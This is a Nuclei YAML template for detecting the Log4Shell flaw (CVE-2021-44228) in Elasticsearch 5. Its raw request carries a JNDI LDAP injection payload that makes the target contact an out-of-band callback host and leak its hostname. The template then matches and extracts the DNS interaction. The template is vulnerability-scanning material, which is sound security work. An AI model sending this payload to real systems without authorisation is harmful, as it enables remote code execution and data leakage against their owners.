54 lines
1.7 KiB
YAML
54 lines
1.7 KiB
YAML
id: elasticsearch5-log4j-rce
|
|
|
|
info:
|
|
name: Elasticsearch 5 - Remote Code Execution (Apache Log4j)
|
|
author: akincibor
|
|
severity: critical
|
|
description: |
|
|
Elasticsearch 5 is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
|
|
reference:
|
|
- https://www.horizon3.ai/the-long-tail-of-log4shell-exploitation/
|
|
- https://logging.apache.org/log4j/2.x/security.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
cvss-score: 10
|
|
cve-id: CVE-2021-44228
|
|
cwe-id: CWE-917
|
|
metadata:
|
|
verified: "true"
|
|
tags: jndi,log4j,rce,oast,elasticsearch,cve,cve2021,kev
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
GET /_search?a=$%7Bjndi%3Aldap%3A%2F%2F%24%7BhostName%7D.{{interactsh-url}}%7D HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
{
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the DNS Interaction
|
|
words:
|
|
- "dns"
|
|
|
|
- type: regex
|
|
part: interactsh_request
|
|
regex:
|
|
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable
|
|
|
|
extractors:
|
|
- type: kval
|
|
kval:
|
|
- interactsh_ip # Print remote interaction IP in output
|
|
|
|
- type: regex
|
|
part: interactsh_request
|
|
group: 1
|
|
regex:
|
|
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
|
|
|
|
# Enhanced by md on 2022/10/04
|